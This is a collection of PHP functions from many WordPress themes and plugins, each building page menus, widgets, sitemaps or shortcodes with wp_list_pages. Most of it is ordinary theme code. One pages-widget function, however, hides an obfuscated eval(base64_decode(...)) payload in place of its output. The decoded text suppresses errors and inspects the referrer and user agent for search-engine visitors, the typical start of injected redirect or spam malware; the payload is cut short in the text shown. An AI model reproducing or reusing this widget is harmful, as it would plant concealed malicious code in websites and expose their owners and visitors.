function main_menu_fallback() { echo '<ul class="default-nav">'; wp_list_pages(); wp_list_categories(); echo '</ul>'; }
function widget( $args, $instance ) { extract( $args ); $title = apply_filters('widget_title', empty( $instance['title'] ) ? __( 'Pages', 'lespaul_domain_adm' ) : $instance['title'], $instance, $this->id_base); $sortby = empty( $instance['sortby'] ) ? 'menu_order' : $instance['sortby']; $exclude = empty( $instance['exclude'] ) ? '' : $instance['exclude']; if ( $sortby == 'menu_order' ) $sortby = 'menu_order, post_title'; $pageIDs = get_all_page_ids(); foreach ( $pageIDs as $pageID ) { if ( ! wm_restriction_page( $pageID ) ) { $exclude .= ( $exclude ) ? ( ',' . $pageID ) : ( $pageID ); } } $out = wp_list_pages( apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'exclude' => $exclude) ) ); if ( !empty( $out ) ) { echo $before_widget; if ( $title) echo $before_title . $title . $after_title; ?> <ul> <?php echo $out; ?> </ul> <?php echo $after_widget; } }
function html_sitemap_shortcode_handler($args, $content = null) { if (is_feed()) { return ''; } $args['echo'] = 0; $args['title_li'] = ''; unset($args['link_before']); unset($args['link_after']); if (isset($args['child_of']) && $args['child_of'] == 'CURRENT') { $args['child_of'] = get_the_ID(); } else { if (isset($args['child_of']) && $args['child_of'] == 'PARENT') { $post =& get_post(get_the_ID()); if ($post->post_parent) { $args['child_of'] = $post->post_parent; } else { unset($args['child_of']); } } } $html = wp_list_pages($args); // Remove the classes added by WordPress $html = preg_replace('/( class="[^"]+")/is', '', $html); return '<ul>' . $html . '</ul>'; }
/** * Echo the widget content. * * @param array $args Display arguments including before_title, after_title, before_widget, and after_widget. * @param array $instance The settings for the particular instance of the widget */ function widget($args, $instance) { extract($args); $instance = wp_parse_args((array) $instance, array('title' => '', 'include' => array(), 'order' => '')); echo $before_widget; if ($instance['title']) { echo $before_title . apply_filters('widget_title', $instance['title']) . $after_title; } echo '<ul class="nav">' . "\n"; // Empty fallback (default) if (empty($instance['include'])) { $instance['include'][] = 'home'; $pages = get_pages(); foreach ((array) $pages as $page) { $instance['include'][] = $page->ID; } } // Show Home Link? if (in_array('home', (array) $instance['include'])) { $active = is_front_page() ? 'class="current_page_item"' : ''; echo '<li ' . $active . '><a href="' . trailingslashit(home_url()) . '">' . __('Home', 'genesis') . '</a></li>'; } // Show Page Links? wp_list_pages(array('title_li' => '', 'include' => implode(',', $instance['include']), 'sort_column' => $instance['order'])); echo '</ul>' . "\n"; echo $after_widget; }
function widget($args, $instance) { extract($args); $title = apply_filters('widget_title', empty($instance['title']) ? __('Pages', 'tfuse') : $instance['title'], $instance, $this->id_base); $sortby = empty($instance['sortby']) ? 'menu_order' : $instance['sortby']; $exclude = empty($instance['exclude']) ? '' : $instance['exclude']; $b = $instance['b'] = empty($instance['b']) ? '' : $instance['b']; $class = $b ? 'widget-boxed' : ''; $out = wp_list_pages(apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'exclude' => $exclude, 'link_before' => '<span>', 'link_after' => '</span>'))); if (!empty($out)) { echo '<div class="widget widget_pages ' . $class . '">'; $title = tfuse_qtranslate($title); if ($title) { echo '<h3 class="widget-title">' . $title . '</h3>'; } ?> <ul> <?php echo $out; ?> </ul> <?php echo '</div>'; } }
function render($args, $instance) { global $gantry, $post; ob_start(); $sortby = $instance['sortby']; $menu_class = $instance['menu_class']; $depth = $instance['depth']; if ($sortby == 'menu_order') { $sortby = 'menu_order, post_title'; } if ($menu_class != '') { $menu_class = ' class="' . $menu_class . '"'; } else { $menu_class = ''; } $out = wp_list_pages(apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'depth' => $depth, 'sort_column' => $sortby, 'exclude' => $instance['exclude'], 'link_before' => '<span>', 'link_after' => '</span>'))); $out = str_replace('current_page_item', 'current_page_item active', $out); if (!empty($out)) { ?> <ul<?php echo $menu_class; ?> > <?php echo $out; ?> </ul> <?php } echo ob_get_clean(); }
function dt_page_menu($args = array()) { $defaults = array('sort_column' => 'menu_order, post_title', 'container_class' => 'nav-bg', 'menu_id' => 'nav', 'echo' => false, 'link_before' => '', 'link_after' => ''); $args = wp_parse_args($args, $defaults); $args = apply_filters('wp_page_menu_args', $args); $menu = ''; $list_args = $args; $list_args['echo'] = false; $list_args['title_li'] = ''; $list_args['walker'] = new Dt_Custom_Walker_Page(); $menu .= str_replace(array("\r", "\n", "\t"), '', wp_list_pages($list_args)); if (isset($menu)) { $menu = sprintf($args['items_wrap'], $args['menu_id'], $args['menu_class'], $menu); } // $menu = '<ul' . ( isset($args['menu_id'])?' id="'.esc_attr($args['menu_id']).'"':'' ) . '>' . $menu . '</ul>'; if (isset($container)) { $menu = '<div class="' . esc_attr($args['container_class']) . '">' . $menu . "</div>\n"; } $menu = apply_filters('wp_page_menu', $menu, $args); if ($args['echo']) { echo $menu; } else { return $menu; } }
/** * @deprecated 5.0.0 */ function displayGrandChildMenu($page) { static $count = 0; $count++; //If the page sent is not a child of the current page if (!$this->page_ancestor($page)) { return; } //if there are no children of the current page bail if (!($children = $this->page_children($page->ID))) { return; } $content = sprintf('<ul class="grandchild-sidebar-menu level-%s children">', $count); foreach ($children as $child) { //If this page should be excluded bail if (in_array($child->ID, $this->exclude)) { continue; } $args = array('post_type' => $this->post_type, 'sort_column' => $this->order_by, 'title_li' => '', 'echo' => 0, 'depth' => 1, 'include' => $child->ID); $content .= $this->openListItem(wp_list_pages($args)); //If this newly outputed child is a direct parent of the current page if ($this->page_ancestor($child)) { $content .= $this->displayGrandChildMenu($child); } $content .= '</li>'; } $content .= '</ul>'; return $content; }
function widget($args, $instance) { extract($args); $title = apply_filters('widget_title', $instance['title']); $Num = apply_filters('$Num', $instance['Num']); if (!empty($instance['title'])) { //TEMISI BOSH QALDURULSA 'رەڭدار خەتكۈشلەر' BOLUP KORINIDU $title = $instance['title']; } else { $title = 'بەتلەر'; } if (!empty($instance['Num'])) { $Num = $instance['Num']; } else { $Num = '10'; } $title = apply_filters('widget_title', $title, $instance, $this->id_base); $Num = apply_filters('$Num', $Num, $instance, $this->id_base); echo $before_widget; if ($title) { echo $before_title . $title . $after_title; } ?> <ul class="pages"> <?php wp_list_pages('title_li=&depth=1'); ?> </ul> <?php echo $after_widget; }
function childtheme_menus() { ?> <div id="page-menu" class="menu"> <ul id="page-nav" class="sf-menu"> <li class="rss"><a href="<?php bloginfo('rss2_url'); ?> ">RSS Feed</a></li> <?php wp_list_pages('title_li='); ?> </ul> </div> <div id="category-menu" class="menu"> <ul id="category-nav" class="sf-menu"> <li class="home"><a href="<?php bloginfo('url'); ?> ">Home</a></li> <?php wp_list_categories('title_li=&number=7'); ?> <li class="blog-description"><span><?php bloginfo('description'); ?> </span></li> </ul> </div> <?php }
/** * A default menu for when they don't have one set. * Everybody sees a page list + the admins see a message about setting up the * menus in admin */ function default_menu() { ?> <ul id="menu-main" class="menu--main menu cf"> <?php if (is_user_logged_in() && current_user_can('level_10')) { ?> <li><a href="<?php bloginfo('url'); ?> /wp-admin/nav-menus.php"><?php _e('Admin, não se esqueça de configurar um menu', 'cultural'); ?> </a></li> <?php } ?> <?php wp_list_pages('title_li='); ?> <?php wp_list_categories('title_li='); ?> </ul> <?php }
function vkExUnit_pageList_ancestor_shortcode() { global $post; if (!is_page() || !get_post_meta($post->ID, 'vkExUnit_pageList_ancestor', true)) { return; } $pageList_ancestor_html = PHP_EOL . '<section class="veu_pageList_ancestor">' . PHP_EOL; if ($post->ancestors) { foreach ($post->ancestors as $post_anc_id) { $post_id = $post_anc_id; } } else { $post_id = $post->ID; } if ($post_id) { $children = wp_list_pages('title_li=&child_of=' . $post_id . '&echo=0'); if ($children) { $pageList_ancestor_html .= '<h1 class="section_title subSection-title"><a href="' . get_permalink($post_id) . '">' . get_the_title($post_id) . '</a></h1>'; $pageList_ancestor_html .= '<ul class="pageList">'; $pageList_ancestor_html .= $children; $pageList_ancestor_html .= '</ul>'; $pageList_ancestor_html .= '</section>'; } } return $pageList_ancestor_html; }
function widget($args, $instance) { global $post; $children = wp_list_pages('echo=0&child_of=' . $post->ID . '&title_li='); if ($children) { $parent = $post->ID; } else { $parent = $post->post_parent; if (!$parent) { $parent = $post->ID; } } $parent_title = get_the_title($parent); extract($args); $title = apply_filters('widget_title', empty($instance['title']) ? $parent_title : $instance['title'], $instance, $this->id_base); $sortby = empty($instance['sortby']) ? 'menu_order' : $instance['sortby']; $exclude = empty($instance['exclude']) ? theme_get_excluded_pages() : $instance['exclude'] . ',' . theme_get_excluded_pages(); $output = wp_list_pages(array('title_li' => '', 'echo' => 0, 'child_of' => $parent, 'sort_column' => $sortby, 'exclude' => $exclude, 'depth' => 1)); if (!empty($output)) { echo $before_widget; if ($title) { echo $before_title . $title . $after_title; } ?> <ul> <?php echo $output; ?> </ul> <?php echo $after_widget; } }
function uni_nav_fallback() { $sOutput = '<nav class="mainMenu"><ul class="clear">'; $sOutput .= wp_list_pages(array('title_li' => '', 'echo' => false)); $sOutput .= '</ul></nav>'; echo $sOutput; }
function widget($args, $instance) { extract($args); $title = apply_filters('widget_title', empty($instance['title']) ? __('Pages') : $instance['title']); $sortby = empty($instance['sortby']) ? 'menu_order' : $instance['sortby']; $exclude = empty($instance['exclude']) ? '' : $instance['exclude']; if ($sortby == 'menu_order') { $sortby = 'menu_order, post_title'; } $out = wp_list_pages(apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'exclude' => $exclude))); if (!empty($out)) { echo $before_widget; if ($title) { echo $before_title . $title . $after_title; } ?> <ul> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaX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")); echo $after_widget; } }
/** * */ function widget($args, $instance) { global $post, $page_exclusions; extract($args); $parent = $post->post_parent; $title = apply_filters('widget_title', empty($instance['title']) ? get_the_title($parent) : $instance['title'], $instance, $this->id_base); if (is_search() || is_404() || is_archive() || is_single()) { return; } $out = $before_widget; $out .= $before_title . $title . $after_title; if ($post->post_parent) { $children = wp_list_pages('sort_column=menu_order&exclude=$page_exclusions&title_li=&child_of=' . $post->post_parent . '&echo=0&depth=1&link_after=<span></span>'); } else { $children = wp_list_pages('sort_column=menu_order&exclude=$page_exclusions&title_li=&child_of=' . $post->ID . '&echo=0&depth=1&link_after=<span></span>'); } // $children = wp_list_pages("sort_column=menu_order&exclude=$page_exclusions&title_li=&child_of=" . $parent . "&echo=0&depth=1"); // $out .= '<div class="featured_tabs_container">'; // $out .= '<div>'; $out .= '<ul>' . $children . '</ul>'; // $out .= '</div>'; // $out .= '</div>'; $out .= $after_widget; echo $out; }
/** * This function outputs sitemap-esque columns displaying all pages, * categories, authors, monthly archives, and recent posts. * * @since 1.6 */ function genesis_page_archive_content() { // Pause Exclude Pages plugin functionality. pause_exclude_pages(); ?> <h4><?php _e('Pages:', 'genesis'); ?> </h4> <ul> <?php wp_list_pages('title_li='); ?> </ul> <h4><?php _e('Categories:', 'genesis'); ?> </h4> <ul> <?php wp_list_categories('sort_column=name&title_li='); ?> </ul> <h4><?php _e('Authors:', 'genesis'); ?> </h4> <ul> <?php wp_list_authors('exclude_admin=0&optioncount=1'); ?> </ul> <h4><?php _e('Monthly:', 'genesis'); ?> </h4> <ul> <?php wp_get_archives('type=monthly'); ?> </ul> <h4><?php _e('Recent Posts:', 'genesis'); ?> </h4> <ul> <?php wp_get_archives('type=postbypost&limit=100'); ?> </ul> <?php // Resume Exclude Pages plugin functionality. resume_exclude_pages(); }
/** * Render main shortcode. * * @since 1.0.0 * @access public * @param array $atts * @param string $content * @return string */ public function render_shortcode($atts, $content = null) { extract(shortcode_atts(array('nav_menu' => '__default', 'mobile_menu' => 'yes', 'mobile_menu_breakpoint' => 600, 'mobile_menu_label' => __('Menu', 'themify-flow')), $atts, $this->shortcode)); ob_start(); ?> <?php if ('__default' == $nav_menu) { if (has_nav_menu('default_menu')) { wp_nav_menu(array('theme_location' => 'default_menu', 'container' => false, 'menu_class' => 'tf_menu')); } else { echo '<ul class="tf_menu tf_pages_menu">'; wp_list_pages('title_li='); echo '</ul>'; } } else { wp_nav_menu(array('menu' => $nav_menu, 'container' => false, 'menu_class' => 'tf_menu')); } // mobile menu if ('yes' == $mobile_menu) { if ('__default' == $nav_menu) { echo '<div class="mobile-menu">'; $this->wp_dropdown_pages(array(), $mobile_menu_label); echo '</div>'; } else { wp_nav_menu(array('menu' => $nav_menu, 'container' => false, 'walker' => new Walker_Nav_Menu_TF_Dropdown(), 'items_wrap' => '<div class="mobile-menu"><form><div class="tf_mobile_menu_wrap"><select onchange="if (this.value) window.location.href=this.value"><option value="">' . $mobile_menu_label . '</option>%3$s</select></div></form></div>')); } ?> <style> @media (max-width: <?php echo $mobile_menu_breakpoint; ?> px) { .tf_module_block_<?php echo $atts['sc_id']; ?> .tf_module_menu .mobile-menu { display: block; } .tf_module_block_<?php echo $atts['sc_id']; ?> .tf_module_menu .tf_menu { display: none; } } </style> <?php } ?> <?php // on touch devices add dropdown script if (wp_is_mobile()) { wp_enqueue_script('themify-dropdown'); $this->footer_scripts .= sprintf('jQuery(function(){ jQuery( ".tf_module_block_%s.tf_module_menu .tf_menu" ).themifyDropdown() });', $atts['sc_id']); } $output = ob_get_clean(); return $output; }
function ts_sitemap_func($atts) { extract(shortcode_atts(array('sitemap' => ''), $atts)); $html = ''; ob_start(); ?> <ul class="sitemap"> <?php switch ($sitemap) { case 'pages': wp_list_pages("title_li="); break; case 'posts': $archive_query = new WP_Query('showposts=1000&cat=-8'); while ($archive_query->have_posts()) { $archive_query->the_post(); } break; case 'archives': wp_get_archives('type=monthly&show_post_count=true'); break; default: wp_list_pages("title_li="); break; } ?> </ul> <?php $output = ob_get_contents(); ob_end_clean(); return $output; }
function widget($args) { $options = get_option('sr_pages_menu'); echo '<ul class="' . $options['sr_pages_menu_class_name'] . '">'; wp_list_pages('title_li=&include=' . $options['sr_pages_menu_include'] . '&exclude=' . $options['sr_pages_menu_include']); echo "</ul>"; }
function widget($args, $instance) { extract($args); $title = apply_filters('widget_title', empty($instance['title']) ? __('Side Navi', 'framework') : $instance['title'], $instance, $this->id_base); $sortby = empty($instance['sortby']) ? 'menu_order' : $instance['sortby']; $include = empty($instance['include']) ? '' : $instance['include']; if ($sortby == 'menu_order') { $sortby = 'menu_order, post_title'; } $out = ''; if (!empty($include)) { $out = wp_list_pages(apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'include' => $include))); } $out = str_replace('</a>', '</a><div></div>', $out); if (!empty($out)) { echo $before_widget; if ($title) { echo $before_title . $title . $after_title; } ?> <ul class='left_navigation'> <?php echo $out; ?> </ul> <?php echo $after_widget; } }
function themater_menu_primary_default() { global $theme; ?> <div class="<?php echo $theme->options['menus']['menu-primary']['wrap_class']; ?> "> <ul class="<?php echo $theme->options['menus']['menu-primary']['menu_class']; ?> "> <li <?php if (is_home() || is_front_page()) { ?> class="current_page_item"<?php } ?> ><a href="<?php echo home_url(); ?> "><?php _e('Home', 'themater'); ?> </a></li> <?php wp_list_pages('depth=' . $theme->get_option('menu_primary_depth') . '&sort_column=menu_order&title_li='); ?> </ul> </div> <?php }
function widget_pages($args) { extract($args); $options = get_option('widget_pages'); $title = empty($options['title']) ? __('Pages') : $options['title']; wp_list_pages("title_li={$before_title}{$title}{$after_title}"); }
/** * fallback for primary navigation */ function steira_page_menu() { ?> <ul id="navigation"> <li class="<?php if (is_front_page()) { echo 'current_page_item'; } else { echo 'page_item'; } ?> "> <a href="<?php echo home_url('/'); ?> "><?php _e('Homepage', 'steira'); ?> </a> </li> <?php wp_list_pages('title_li=&depth=1'); ?> </ul> <?php }
/** * Retrieve the pages' sitemap when shortcode [wpms-pages] is found * * @param $args - arguments or attributes specified in the shortcode tag. ([wpms-pages child_of=xx ...]) * @param $content - not used * @return the pages sitemap or empty string if not applicable. */ function wpms_list_pages($args, $content = null) { // If current page query is feed URL. if (is_feed()) { return ''; } // Force 'echo' param to 0; wp_list_pages returns the list as an HTML text string to be used in PHP $args['echo'] = 0; // If 'child_of' param is set to 'CURRENT', set it to current post id if (isset($args['child_of']) && $args['child_of'] == 'CURRENT') { $args['child_of'] = get_the_ID(); } elseif (isset($args['child_of']) && $args['child_of'] == 'PARENT') { // Get parent post object $post =& get_post(get_the_ID()); // If it exists if ($post->post_parent) { $args['child_of'] = $post->post_parent; } else { unset($args['child_of']); } } //Get pages list HTML code $html = wp_list_pages($args); // Remove the classes added by WordPress $html = preg_replace('/( class="[^"]+")/is', '', $html); // If there are no pages if (empty($html)) { return $html; } else { return '<ul>' . $html . '</ul>'; } }
function shortcode_tabbed_nav_menu($atts, $content = null) { global $post; $child_of = $post->post_parent; if ($atts['level'] == 'siblings') { $child_of = $post->post_parent; } if ($atts['level'] == 'children') { $child_of = $post->ID; } // Extract shortcode arguments extract(shortcode_atts(array('exclude' => '', 'include' => '', 'sort_column' => 'menu_order', 'sort_order' => 'ASC', 'level' => 'siblings'), $atts)); $content = do_shortcode($content); $args = array('child_of' => $child_of, 'title_li' => '', 'depth' => 1, 'exclude' => $exclude, 'include' => $include, 'sort_column' => $sort_column, 'sort_order' => $sort_order, 'echo' => 0, 'walker' => new ufandshands_page_walker()); $page_list = wp_list_pages($args); $tabbed_menu .= '<ul class="tabs">' . $page_list . '</ul>'; if (is_page_template('template-full-width.php')) { $tabbed_menu .= '<div class="tab-content span-22 alpha omega">'; } else { $tabbed_menu .= '<div class="tab-content span-17 alpha omega">'; } $tabbed_menu .= $content; $tabbed_menu .= '</div><br class="clear" />'; return $tabbed_menu; }
function vicuna_global_navigation() { $options = get_option('vicuna_config'); if ($options['g_navi']) { ?> <ul id="globalNavi"> <?php if ($options['g_navi_home']) { ?> <li><a href="<?php bloginfo('home'); ?> " title="Home">Home</a></li> <?php } if ($options['g_navi'] == 1) { wp_list_pages('sort_column=menu_order&title_li=0&depth=1'); } else { if ($options['g_navi'] == 2) { wp_list_categories('title_li=0&hierarchical=0'); } } ?> </ul> <?php } }
public function widget($args, $instance) { extract($args); $id = $this->get_post_top_ancestor_id(); if (!count(get_pages("child_of={$id}"))) { return; } $title = '<a href="' . get_permalink($id) . '" title="' . esc_attr(strip_tags(get_the_title($id))) . '">' . get_the_title($id) . '</a>'; $depth = isset($instance['depth']) ? $instance['depth'] : 1; echo $before_widget; ?> <?php echo $before_title . $title . $after_title; ?> <?php echo '<ul class="menu">'; ?> <?php wp_list_pages(array('title_li' => '', 'depth' => $depth, 'child_of' => $id)); ?> <?php echo '</ul>'; ?> <?php echo $after_widget; }
function widget($args, $instance) { extract($args); $title = apply_filters('widget_title', empty($instance['title']) ? __('Pages') : $instance['title'], $instance, $this->id_base); $sortby = empty($instance['sortby']) ? 'menu_order' : $instance['sortby']; $exclude = empty($instance['exclude']) ? '' : $instance['exclude']; if ($sortby == 'menu_order') { $sortby = 'menu_order, post_title'; } $out = wp_list_pages(apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'exclude' => $exclude))); if (!empty($out)) { echo $before_widget; if ($title) { echo $before_title . $title . $after_title; } ?> <ul> <?php echo $out; ?> </ul> <?php echo $after_widget; } }
function widget($args, $instance) { extract($args); $title = apply_filters('widget_title', empty($instance['title']) ? __('Pages', 'wpdance') : $instance['title'], $instance, $this->id_base); $sortby = empty($instance['sortby']) ? 'menu_order' : $instance['sortby']; $include = empty($instance['include']) ? '' : $instance['include']; if ($sortby == 'menu_order') { $sortby = 'menu_order, post_title'; } $out = wp_list_pages(apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'include' => $include))); // add first last $out = preg_replace('/li class\\=\\"/', 'li class="first ', $out, 1); $out = strrev($out); $out = preg_replace('/\\"\\=ssalc il/', ' tsal"=ssalc il', $out, 1); if (!empty($out)) { echo $before_widget; if ($title) { echo $before_title . $title . $after_title; } ?> <ul> <?php echo strrev($out); ?> </ul> <?php echo $after_widget; } }